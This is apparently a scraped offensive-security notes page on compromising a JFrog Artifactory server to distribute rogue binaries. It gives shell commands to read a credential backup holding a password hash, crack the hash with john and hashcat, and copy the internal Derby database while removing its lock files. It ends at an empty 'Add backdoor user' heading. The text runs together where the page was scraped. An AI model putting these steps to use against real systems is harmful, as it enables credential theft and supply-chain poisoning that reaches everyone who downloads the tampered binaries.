Artifactory
Assume a scenario where we have elevated privileges but want to get access to Artifactory itself to distribute rogue binaries for network compromise.
Sensitive information
root@controller:/opt/jfrog/artifactory/var/backup/access#
cat access.backup.20200730120454.json$2a$08$xxxx./yyyyCrack password
sudo john hash.txt --wordlist=/usr/share/wordlists/rockyou.txthashcat hash.txt --force --hash-type=3200Compromise DB
mkdir /tmp/hackeddb
sudo cp -r /opt/jfrog/artifactory/var/data/access/derby /tmp/hackeddb
sudo chmod 755 /tmp/hackeddb/derby
sudo rm /tmp/hackeddb/derby/*.lckAdd backdoor user
Last updated